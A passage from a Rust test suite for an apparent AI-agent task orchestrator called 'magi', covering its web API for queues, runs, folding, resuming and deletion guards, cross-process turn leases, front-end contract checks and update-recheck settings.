20626 q.put(&mut t).expect("put t");
20627
20628 let res = fx.get("/api/queue").await;
20629 assert_eq!(res.status, 200);
20630 let list = res.json();
20631 let view = list
20632 .as_array()
20633 .expect("array")
20634 .iter()
20635 .find(|v| v["id"] == t.id)
20636 .expect("task in list");
20637 assert_eq!(view["status_str"], "blocked");
20638 assert_eq!(
20639 view["blocked_by"],
20640 serde_json::json!(["20260101-000000-dead"])
20641 );
20642 assert_eq!(view["block_reason"], "waiting on Task 1");
20643 assert_eq!(view["answers"][0]["question"], "Which backend?");
20644 assert_eq!(view["answers"][0]["answer"], "SQLite");
20645
20646 let res = fx
20650 .post(&format!("/api/queue/{}/hold", t.short()), None)
20651 .await;
20652 assert_eq!(res.status, 200);
20653 let held = res.json();
20654 assert_eq!(held["status_str"], "held");
20655 assert_eq!(held["blocked_by"], serde_json::json!([]));
20656 assert!(held["block_reason"].is_null());
20657 assert_eq!(held["answers"][0]["answer"], "SQLite");
20658 }
20659
20660 #[tokio::test]
20661 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20662 let fx = Fixture::start().await;
20663 let q = fx.queue();
20664 let mk = |title: &str| {
20665 Task::new(
20666 title.to_owned(),
20667 "Instruction".to_owned(),
20668 PathBuf::from("/repo"),
20669 Source::Human,
20670 )
20671 };
20672 let mut root = mk("root");
20673 root.hold_manual(Some("waiting".to_owned()));
20674 q.put(&mut root).unwrap();
20675 let mut mid = mk("mid");
20676 mid.block(vec![root.id.clone()], None);
20677 q.put(&mut mid).unwrap();
20678 let mut leaf = mk("leaf");
20679 leaf.block(vec![mid.id.clone()], None);
20680 q.put(&mut leaf).unwrap();
20681
20682 let list = fx.get("/api/queue").await.json();
20683 let find = |id: &str| {
20684 list.as_array()
20685 .unwrap()
20686 .iter()
20687 .find(|v| v["id"] == id)
20688 .unwrap()
20689 .clone()
20690 };
20691 let leaf_view = find(&leaf.id);
20692 assert_eq!(
20693 leaf_view["waits_on"],
20694 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20695 );
20696 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20697 assert_eq!(
20698 find(&mid.id)["waits_on"],
20699 serde_json::json!([format!("{} (held)", root.short())])
20700 );
20701 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20702 }
20703
20704 #[tokio::test]
20705 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20706 let fx = Fixture::start().await;
20707 let q = fx.queue();
20708
20709 let mut t1 = Task::new(
20711 "Task 1".to_owned(),
20712 "Instruction 1".to_owned(),
20713 PathBuf::from("/repo"),
20714 Source::Human,
20715 );
20716 let run_id = "20260901-000000-r111";
20717 t1.runs.push(run_id.to_owned());
20718 write_run(&fx.runs(), run_id, RunStatus::Merged);
20719 q.put(&mut t1).expect("put t1");
20720
20721 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20723 assert_eq!(res.status, 204);
20724 assert!(res.body.is_empty(), "204 No Content has no body");
20725 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20726 assert!(
20727 fx.runs().join(run_id).exists(),
20728 "run directory must not be deleted when its task is deleted"
20729 );
20730
20731 let mut t2 = Task::new(
20733 "Task 2".to_owned(),
20734 "Instruction 2".to_owned(),
20735 PathBuf::from("/repo"),
20736 Source::Human,
20737 );
20738 t2.status = TaskStatus::Running;
20739 q.put(&mut t2).expect("put t2");
20740 let mut beat = crate::daemon::Status::new();
20741 beat.current = vec![crate::daemon::Current {
20742 task: t2.id.clone(),
20743 run: "20260901-000000-r222".to_owned(),
20744 }];
20745 beat.updated_at = jiff::Timestamp::now();
20746 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20747 .expect("publish a heartbeat");
20748 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20749 assert_eq!(res.status, 409);
20750 assert!(
20751 res.json()["error"]
20752 .as_str()
20753 .unwrap()
20754 .contains("live daemon")
20755 );
20756 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20757
20758 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20764 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20765 .expect("leave a stale heartbeat");
20766 let mut t3 = Task::new(
20767 "Task 3".to_owned(),
20768 "Instruction 3".to_owned(),
20769 PathBuf::from("/repo"),
20770 Source::Human,
20771 );
20772 t3.status = TaskStatus::Running;
20773 q.put(&mut t3).expect("put t3");
20774 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20775 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20776 assert_eq!(res.status, 204);
20777 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20778 assert!(
20779 q.claim(&t3.id).is_ok(),
20780 "the stale lock went with it, so the id is claimable again"
20781 );
20782
20783 let res = fx.delete("/api/queue/nonexistent").await;
20785 assert_eq!(res.status, 404);
20786 }
20787
20788 #[tokio::test]
20789 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20790 let fx = Fixture::start().await;
20791 let runs = fx.runs();
20792
20793 let run_id = "20260901-000000-fold";
20795 let mut state = RunState::new(
20796 PathBuf::from("/repo"),
20797 "main".to_owned(),
20798 "abc".to_owned(),
20799 "instruction".to_owned(),
20800 Config::default(),
20801 );
20802 state.id = run_id.to_owned();
20803 state.status = RunStatus::Merged;
20804 state.candidates.push(crate::run::Candidate {
20805 index: 0,
20806 label: 'A',
20807 agent: "a".to_owned(),
20808 branch: "b".to_owned(),
20809 worktree: PathBuf::from("/w"),
20810 summary: String::new(),
20811 stat: String::new(),
20812 files: 1,
20813 commits: 1,
20814 empty: false,
20815 failed: None,
20816 verified_noop: None,
20817 duration_ms: 0,
20818 folded: true,
20819 });
20820 let dir = runs.join(run_id);
20821 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20822 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20823 .expect("write artifact");
20824 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20825 .expect("write run.json");
20826
20827 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
20829 assert_eq!(res.status, 204);
20830 assert!(res.body.is_empty(), "204 has no body");
20831 assert!(!dir.exists(), "run directory and artifacts must be deleted");
20832
20833 let run_running = "20260901-000000-rung";
20838 write_run(&runs, run_running, RunStatus::Prep);
20839 let mut beat = crate::daemon::Status::new();
20840 beat.current = vec![crate::daemon::Current {
20841 task: "20260901-000000-task".to_owned(),
20842 run: run_running.to_owned(),
20843 }];
20844 beat.updated_at = jiff::Timestamp::now();
20845 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20846 .expect("publish a heartbeat");
20847 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
20848 assert_eq!(res.status, 409);
20849 assert!(
20850 res.json()["error"]
20851 .as_str()
20852 .unwrap()
20853 .contains("live daemon"),
20854 "the refusal must say who is holding it"
20855 );
20856 assert!(
20857 runs.join(run_running).exists(),
20858 "a run in flight keeps its directory"
20859 );
20860
20861 let run_unfolded = "20260901-000000-unfd";
20863 let mut state2 = RunState::new(
20864 PathBuf::from("/repo"),
20865 "main".to_owned(),
20866 "abc".to_owned(),
20867 "instruction".to_owned(),
20868 Config::default(),
20869 );
20870 state2.id = run_unfolded.to_owned();
20871 state2.status = RunStatus::Ready;
20872 state2.candidates.push(crate::run::Candidate {
20873 index: 0,
20874 label: 'A',
20875 agent: "a".to_owned(),
20876 branch: "b".to_owned(),
20877 worktree: PathBuf::from("/w"),
20878 summary: String::new(),
20879 stat: String::new(),
20880 files: 1,
20881 commits: 1,
20882 empty: false,
20883 failed: None,
20884 verified_noop: None,
20885 duration_ms: 0,
20886 folded: false,
20887 });
20888 let dir2 = runs.join(run_unfolded);
20889 std::fs::create_dir_all(&dir2).expect("create dir2");
20890 std::fs::write(
20891 dir2.join("run.json"),
20892 serde_json::to_string(&state2).unwrap(),
20893 )
20894 .expect("write run.json");
20895
20896 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20897 assert_eq!(res.status, 409);
20898 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20899 assert!(dir2.exists(), "unfolded run directory is kept");
20900
20901 let res = fx.delete("/api/runs/nonexistent").await;
20903 assert_eq!(res.status, 404);
20904 }
20905
20906 #[test]
20915 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20916 let start = APP_JS
20917 .find("function renderStats() {")
20918 .expect("renderStats");
20919 let end = start
20920 + APP_JS[start..]
20921 .find("function statsTile(")
20922 .expect("the next top-level function");
20923 let body = &APP_JS[start..end];
20924
20925 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20926 let gate_end = gate_start
20927 + body[gate_start..]
20928 .find("}\n renderStatsQueue")
20929 .expect("the gate's own closing brace, right before the unconditional call");
20930 let gated = &body[gate_start..gate_end];
20931
20932 assert_eq!(
20933 body.matches("renderStatsQueue(").count(),
20934 1,
20935 "renderStats must call renderStatsQueue exactly once: {body}"
20936 );
20937 assert!(
20938 !gated.contains("renderStatsQueue"),
20939 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20940 run-derived panels on an empty run history - the queue panel has to render \
20941 regardless: {gated}"
20942 );
20943 }
20944
20945 #[test]
20946 fn web_ui_delete_contract_in_front_end() {
20947 assert!(APP_JS.contains("deleteRun:"));
20949 assert!(APP_JS.contains("deleteTask:"));
20950
20951 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20953 ..APP_JS.find("function renderRuns").unwrap()];
20954 assert!(!run_cards_slice.to_lowercase().contains("delete"));
20955
20956 assert!(APP_JS.contains("renderRunDelete"));
20958 assert!(APP_JS.contains("runDeleteReason"));
20959 assert!(APP_JS.contains("magi fold"));
20960 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20961
20962 assert!(APP_JS.contains("cancel.focus"));
20964 assert!(APP_JS.contains("armedRunDelete"));
20965 assert!(APP_JS.contains("renderTaskDeleteBox"));
20966 assert!(APP_JS.contains("armed${cap(key)}"));
20967
20968 assert!(APP_JS.contains("disabled: status === \"running\""));
20970 }
20971
20972 #[test]
20992 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20993 let build = APP_JS
20994 .find("function createRunCard")
20995 .expect("createRunCard exists");
20996 let update = APP_JS
20997 .find("function updateRunCard")
20998 .expect("updateRunCard exists");
20999 let end = APP_JS
21000 .find("function renderRuns")
21001 .expect("renderRuns exists");
21002
21003 let builder = &APP_JS[build..update];
21005 let open = builder.find("refs = {").expect("createRunCard sets refs");
21006 let literal = &builder[open + "refs = {".len()..];
21007 let close = literal.find('}').expect("the refs literal is closed");
21008 let published: HashSet<&str> = literal[..close]
21009 .split(',')
21010 .filter_map(|entry| entry.split(':').next())
21012 .map(str::trim)
21013 .filter(|name| !name.is_empty())
21014 .collect();
21015 assert!(
21016 published.len() > 5,
21017 "the refs literal did not parse into names: {published:?}"
21018 );
21019
21020 let mut used: Vec<&str> = Vec::new();
21023 let updaters = &APP_JS[update..end];
21024 for (at, _) in updaters.match_indices("r.") {
21025 let before = updaters[..at].chars().next_back();
21028 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21029 continue;
21030 }
21031 let rest = &updaters[at + 2..];
21032 let len = rest
21033 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21034 .unwrap_or(rest.len());
21035 if len > 0 {
21036 used.push(&rest[..len]);
21037 }
21038 }
21039 assert!(
21040 used.len() > 5,
21041 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21042 );
21043
21044 let missing: Vec<&str> = used
21045 .iter()
21046 .copied()
21047 .filter(|name| !published.contains(name))
21048 .collect();
21049 assert!(
21050 missing.is_empty(),
21051 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21052 never put in `refs` - every card will throw and the list will \
21053 render empty under a count line that says otherwise. Published: \
21054 {published:?}"
21055 );
21056 }
21057
21058 #[tokio::test]
21059 async fn folding_from_the_phone_reports_what_it_removed() {
21060 let fx = Fixture::start().await;
21061 let runs = fx.runs();
21062
21063 let id = "20260901-000000-fold";
21067 write_run(&runs, id, RunStatus::Stalled);
21068 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21069 assert_eq!(res.status, 200);
21070 assert_eq!(res.json()["removed_count"], 0);
21071 assert_eq!(res.json()["run"], id);
21072 assert!(
21073 runs.join(id).exists(),
21074 "a fold keeps the run's record; only the worktrees go"
21075 );
21076 }
21077
21078 #[tokio::test]
21079 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21080 let fx = Fixture::start().await;
21081 let runs = fx.runs();
21082 let wt = fx.home.path().join("wt").join("magi").join("dead");
21083 let id = "20260901-000000-dead";
21084 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21085 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21086 std::fs::create_dir_all(&wt).expect("worktree dir");
21087
21088 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21089 assert_eq!(res.status, 200, "{}", res.body);
21090 assert!(
21091 res.json()["removed_count"].as_u64().unwrap() > 0,
21092 "the worktree this build could not read a state for still went"
21093 );
21094 assert!(
21095 !runs.join(id).exists(),
21096 "an unreadable run has no candidate list to fold selectively, so \
21097 the whole record goes - same as `magi fold` on the CLI"
21098 );
21099 }
21100
21101 #[tokio::test]
21102 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21103 let fx = Fixture::start().await;
21104 let runs = fx.runs();
21105 let wt = fx.home.path().join("wt").join("magi").join("gone");
21106 let id = "20260901-000000-gone";
21107 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21108 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21109 std::fs::create_dir_all(&wt).expect("worktree dir");
21110
21111 let res = fx.delete(&format!("/api/runs/{id}")).await;
21112 assert_eq!(res.status, 204, "{}", res.body);
21113 assert!(!runs.join(id).exists(), "the broken record is gone");
21114 assert!(!wt.exists(), "its worktree is gone too");
21115 }
21116
21117 #[tokio::test]
21118 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21119 let fx = Fixture::start().await;
21120 let runs = fx.runs();
21121 let id = "20260901-000000-live";
21122 write_run(&runs, id, RunStatus::Implementing);
21123
21124 let mut beat = crate::daemon::Status::new();
21125 beat.current = vec![crate::daemon::Current {
21126 task: "20260901-000000-task".to_owned(),
21127 run: id.to_owned(),
21128 }];
21129 beat.updated_at = jiff::Timestamp::now();
21130 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21131 .expect("publish a heartbeat");
21132
21133 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21134 assert_eq!(res.status, 409);
21135 assert!(
21136 res.json()["error"]
21137 .as_str()
21138 .unwrap()
21139 .contains("live daemon"),
21140 "folding under a running agent would pull its worktree away"
21141 );
21142 }
21143
21144 #[tokio::test]
21145 async fn fold_merged_requires_a_pr_url() {
21146 let fx = Fixture::start().await;
21147 let runs = fx.runs();
21148 let id = "20260901-000000-nourl";
21149 write_run(&runs, id, RunStatus::Blocked);
21150
21151 let res = fx
21152 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21153 .await;
21154 assert_eq!(res.status, 400, "{}", res.body);
21155
21156 let blank = fx
21157 .post(
21158 &format!("/api/runs/{id}/fold-merged"),
21159 Some(r#"{"pr_url":" "}"#),
21160 )
21161 .await;
21162 assert_eq!(blank.status, 400, "{}", blank.body);
21163 }
21164
21165 #[tokio::test]
21166 async fn fold_merged_is_404_for_an_unknown_run() {
21167 let fx = Fixture::start().await;
21168 let res = fx
21169 .post(
21170 "/api/runs/nosuchrun/fold-merged",
21171 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21172 )
21173 .await;
21174 assert_eq!(res.status, 404, "{}", res.body);
21175 }
21176
21177 #[tokio::test]
21178 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21179 let fx = Fixture::start().await;
21180 let runs = fx.runs();
21181 let id = "20260901-000000-livemerge";
21182 write_run(&runs, id, RunStatus::Blocked);
21183
21184 let mut beat = crate::daemon::Status::new();
21185 beat.current = vec![crate::daemon::Current {
21186 task: "20260901-000000-task".to_owned(),
21187 run: id.to_owned(),
21188 }];
21189 beat.updated_at = jiff::Timestamp::now();
21190 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21191 .expect("publish a heartbeat");
21192
21193 let res = fx
21194 .post(
21195 &format!("/api/runs/{id}/fold-merged"),
21196 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21197 )
21198 .await;
21199 assert_eq!(res.status, 409, "{}", res.body);
21200 assert!(
21201 res.json()["error"]
21202 .as_str()
21203 .unwrap()
21204 .contains("live daemon"),
21205 "correcting a run's merge underneath a running agent would race \
21206 whatever it is doing to the same `status`/`merge` fields"
21207 );
21208 }
21209
21210 #[tokio::test]
21215 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21216 let fx = Fixture::start().await;
21217 let runs = fx.runs();
21218 let id = "20260901-000000-unconfirmed";
21219 write_run(&runs, id, RunStatus::Blocked);
21220
21221 let res = fx
21222 .post(
21223 &format!("/api/runs/{id}/fold-merged"),
21224 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21225 )
21226 .await;
21227 assert_eq!(res.status, 400, "{}", res.body);
21228 assert_eq!(
21229 read_run(&runs, id).unwrap().status,
21230 RunStatus::Blocked,
21231 "a pull request that could not be confirmed merged must leave \
21232 the run exactly where it was"
21233 );
21234 }
21235
21236 #[tokio::test]
21237 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
21238 let fx = Fixture::start().await;
21239 let runs = fx.runs();
21240
21241 for (status, word) in [
21247 (RunStatus::Merged, "merged"),
21248 (RunStatus::Ready, "ready"),
21249 (RunStatus::Failed, "failed"),
21250 ] {
21251 let id = format!("20260901-000000-{}", &word[..4]);
21252 write_run(&runs, &id, status);
21253 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21254 assert_eq!(res.status, 409, "{word} must not be resumable");
21255 let err = res.json()["error"].as_str().unwrap().to_owned();
21256 assert!(err.contains(word), "the refusal names the status: {err}");
21257 }
21258
21259 let mid = "20260901-000000-midf";
21264 write_run(&runs, mid, RunStatus::Reviewing);
21265 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
21266 assert_eq!(res.status, 202, "an interrupted run is resumable");
21267 }
21268
21269 #[tokio::test]
21270 async fn resume_is_refused_while_the_loop_is_running() {
21271 let fx = Fixture::start().await;
21272 let runs = fx.runs();
21273 let stalled = "20260901-000000-stal";
21274 write_run(&runs, stalled, RunStatus::Stalled);
21275
21276 let mut beat = crate::daemon::Status::new();
21280 beat.current = vec![crate::daemon::Current {
21281 task: "20260901-000000-task".to_owned(),
21282 run: "20260901-000000-othr".to_owned(),
21283 }];
21284 beat.updated_at = jiff::Timestamp::now();
21285 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21286 .expect("publish a heartbeat");
21287
21288 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21289 assert_eq!(res.status, 409);
21290 let err = res.json()["error"].as_str().unwrap().to_owned();
21291 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21292 assert!(err.contains("stop it first"), "{err}");
21293 }
21294
21295 #[test]
21296 fn a_run_cannot_be_resumed_twice_at_once() {
21297 let home = TempDir::new().expect("temp home");
21298 let ui = Ui::new(
21299 Queue::at(home.path().join("queue")),
21300 Questions::at(home.path().join("questions")),
21301 Talks::at(home.path().join("talks")),
21302 home.path().join("runs"),
21303 home.path().to_path_buf(),
21304 PathBuf::from("/repo"),
21305 )
21306 .with_worktrees_root(home.path().join("wt"));
21307 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21308 let again = ui.begin_resume("20260901-000000-once");
21309 assert!(again.is_err(), "a second tap must not start a second graph");
21310 drop(first);
21311 assert!(
21312 ui.begin_resume("20260901-000000-once").is_ok(),
21313 "and the claim is released when the attempt ends"
21314 );
21315 }
21316
21317 #[test]
21318 fn talk_thinking_tracks_only_its_held_turn_claim() {
21319 let home = TempDir::new().expect("temp home");
21320 let ui = Ui::new(
21321 Queue::at(home.path().join("queue")),
21322 Questions::at(home.path().join("questions")),
21323 Talks::at(home.path().join("talks")),
21324 home.path().join("runs"),
21325 home.path().to_path_buf(),
21326 PathBuf::from("/repo"),
21327 )
21328 .with_worktrees_root(home.path().join("wt"));
21329 let id = "20260901-000000-once";
21330
21331 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21332 let turn = ui.begin_talk_turn(id).expect("claim turn");
21333 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21334 assert!(
21335 !ui.is_thinking("20260901-000000-other"),
21336 "one talk's turn does not make another talk busy"
21337 );
21338 drop(turn);
21339 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21340 }
21341
21342 #[test]
21343 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21344 let home = TempDir::new().expect("temp home");
21345 let talks = Talks::at(home.path().join("talks"));
21346 let ui = Ui::new(
21347 Queue::at(home.path().join("queue")),
21348 Questions::at(home.path().join("questions")),
21349 talks.clone(),
21350 home.path().join("runs"),
21351 home.path().to_path_buf(),
21352 PathBuf::from("/repo"),
21353 )
21354 .with_worktrees_root(home.path().join("wt"));
21355 let id = "20260901-000000-cross";
21356
21357 let other = Talks::at(home.path().join("talks"))
21358 .claim_turn(id)
21359 .expect("claim")
21360 .expect("the other process wins");
21361 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21362 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21363 assert!(
21364 matches!(
21365 ui.begin_talk_turn_unless_pending(id).expect("start"),
21366 TalkTurnStart::Foreign
21367 ),
21368 "a foreign holder is refused, not queued behind"
21369 );
21370 assert!(
21371 !ui.talk_turns.lock().unwrap().live.contains(id),
21372 "a refused claim leaves no in-process entry behind"
21373 );
21374 drop(other);
21375 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21376 assert!(talks.turn_held(id), "the web turn holds the lease");
21377 drop(turn);
21378 assert!(
21379 !talks.turn_held(id),
21380 "dropping the guard releases the lease"
21381 );
21382 }
21383
21384 fn consult_question(ui: &Ui) -> Question {
21385 let mut q = Question::new(
21386 "20260901-000000-consult".to_owned(),
21387 "implement".to_owned(),
21388 "impl-A".to_owned(),
21389 "Which backend?".to_owned(),
21390 String::new(),
21391 vec!["SQLite".to_owned(), "Redis".to_owned()],
21392 );
21393 ui.questions.put(&mut q).expect("question");
21394 q
21395 }
21396
21397 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21398 (
21399 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21400 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21401 )
21402 }
21403
21404 #[tokio::test]
21405 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21406 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21407 let q = consult_question(&ui);
21408 let talk = ui.talks.get(&id).expect("talk");
21409 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21410 let before = consult_snapshot(&ui, &q, &id);
21411 let cli_talks = Talks::at(ui.home.join("talks"));
21412 assert_eq!(
21413 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21414 .await
21415 .expect("CLI starter"),
21416 crate::consult::Started::Busy
21417 );
21418 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21419 assert!(ui.is_thinking(&id));
21420 drop(guard);
21421 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21422 }
21423
21424 #[tokio::test]
21425 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21426 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21427 let q = consult_question(&ui);
21428 let talk = ui.talks.get(&id).expect("talk");
21429 let started = tmp.path().join("started");
21430 let release = tmp.path().join("release");
21431 let script = tmp.path().join("consult-agent.sh");
21432 std::fs::write(
21433 &script,
21434 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21435 )
21436 .expect("script");
21437 let mut cfg = stub_config();
21438 cfg.agents[0].id = "mock".to_owned();
21439 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21440 cfg.agents[0].env = std::collections::BTreeMap::from([
21441 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21442 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21443 ]);
21444 let questions = ui.questions.clone();
21445 let cli_talks = Talks::at(ui.home.join("talks"));
21446 let cli_q = q.clone();
21447 let turn = tokio::spawn(async move {
21448 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21449 });
21450 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21451 while !started.exists() {
21452 tokio::time::sleep(Duration::from_millis(10)).await;
21453 }
21454 })
21455 .await;
21456 let refusal = if ready.is_ok() {
21459 let before = consult_snapshot(&ui, &q, &id);
21460 let result = talk_say(
21461 State(Arc::clone(&ui)),
21462 Path(id.clone()),
21463 Ok(Json(NewTalkTurn {
21464 reply_to: None,
21465 text: "another message".to_owned(),
21466 attachments: Vec::new(),
21467 })),
21468 )
21469 .await;
21470 Some((result, before, consult_snapshot(&ui, &q, &id)))
21471 } else {
21472 None
21473 };
21474 std::fs::write(&release, "").expect("release agent");
21475 let done = turn.await.expect("join CLI turn");
21476 ready.expect("agent started before deadline");
21477 let (result, before, after) = refusal.expect("web request");
21478 let error = result.expect_err("web must refuse the CLI's turn");
21479 assert_eq!(error.status, StatusCode::CONFLICT);
21480 assert!(error.message.contains("a turn is already running"));
21481 assert_eq!(
21482 after, before,
21483 "refusal preserves question, draft and history"
21484 );
21485 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21486 let guard = ui
21487 .begin_talk_turn(&id)
21488 .expect("web claim")
21489 .expect("free again");
21490 drop(guard);
21491 }
21492
21493 #[test]
21494 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21495 let home = TempDir::new().expect("temp home");
21496 let talks = Talks::at(home.path().join("talks"));
21497 let ui = Ui::new(
21498 Queue::at(home.path().join("queue")),
21499 Questions::at(home.path().join("questions")),
21500 talks.clone(),
21501 home.path().join("runs"),
21502 home.path().to_path_buf(),
21503 PathBuf::from("/repo"),
21504 )
21505 .with_worktrees_root(home.path().join("wt"));
21506 let id = "20260901-000000-order";
21507 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21508 let slots = ui.talk_turns.lock().unwrap();
21510 let dropper = std::thread::spawn(move || drop(turn));
21511 let start = std::time::Instant::now();
21512 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21513 std::thread::sleep(Duration::from_millis(5));
21514 }
21515 assert!(!talks.turn_held(id), "the lease is released first");
21516 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21517 drop(slots);
21518 dropper.join().expect("join");
21519 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21520 }
21521
21522 #[tokio::test]
21523 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
21524 let fx = Fixture::start().await;
21525 let mut beat = crate::daemon::Status::new();
21529 beat.pid = 4321;
21530 beat.updated_at = jiff::Timestamp::now();
21531 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21532 .expect("publish a heartbeat");
21533
21534 let res = fx.post("/api/upgrade", None).await;
21535 assert_eq!(res.status, 409);
21536 let err = res.json()["error"].as_str().unwrap().to_owned();
21537 assert!(err.contains("4321"), "the refusal names the owner: {err}");
21538 assert!(err.contains("old one against the same queue"), "{err}");
21539 }
21540
21541 #[test]
21548 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21549 assert!(!should_spawn_recheck(&crate::config::Update {
21550 mode: UpdateMode::Off,
21551 interval: None,
21552 }));
21553
21554 unsafe {
21557 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21558 }
21559 let killed = should_spawn_recheck(&crate::config::Update {
21560 mode: UpdateMode::Notify,
21561 interval: None,
21562 });
21563 unsafe {
21564 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21565 }
21566 assert!(
21567 !killed,
21568 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21569 one-time startup check"
21570 );
21571
21572 assert!(should_spawn_recheck(&crate::config::Update {
21573 mode: UpdateMode::Notify,
21574 interval: None,
21575 }));
21576 }
21577
21578 #[test]
21584 fn recheck_poll_period_tracks_a_short_configured_interval() {
21585 let short = crate::config::Update {
21586 mode: UpdateMode::Notify,
21587 interval: Some("1m".to_owned()),
21588 };
21589 let period = recheck_poll_period(&short);
21590 assert!(
21591 period <= Duration::from_secs(30),
21592 "a one-minute interval must wake the task far sooner than the \
21593 default ceiling, or the deck would not notice within the \
21594 interval the operator configured: got {period:?}"
21595 );
21596
21597 let default = crate::config::Update {
21598 mode: UpdateMode::Notify,
21599 interval: None,
21600 };
21601 assert_eq!(
21602 recheck_poll_period(&default),
21603 UPDATE_RECHECK_POLL_MAX,
21604 "the default day-long interval should poll at the (capped) \
21605 ceiling rather than needlessly often"
21606 );
21607 }
21608
21609 #[test]
21617 fn recheck_skips_the_network_before_the_interval_elapses() {
21618 let dir = TempDir::new().expect("temp dir");
21619 let path = dir.path().join("state.json");
21620 let state = kaishin::UpdateCheckState {
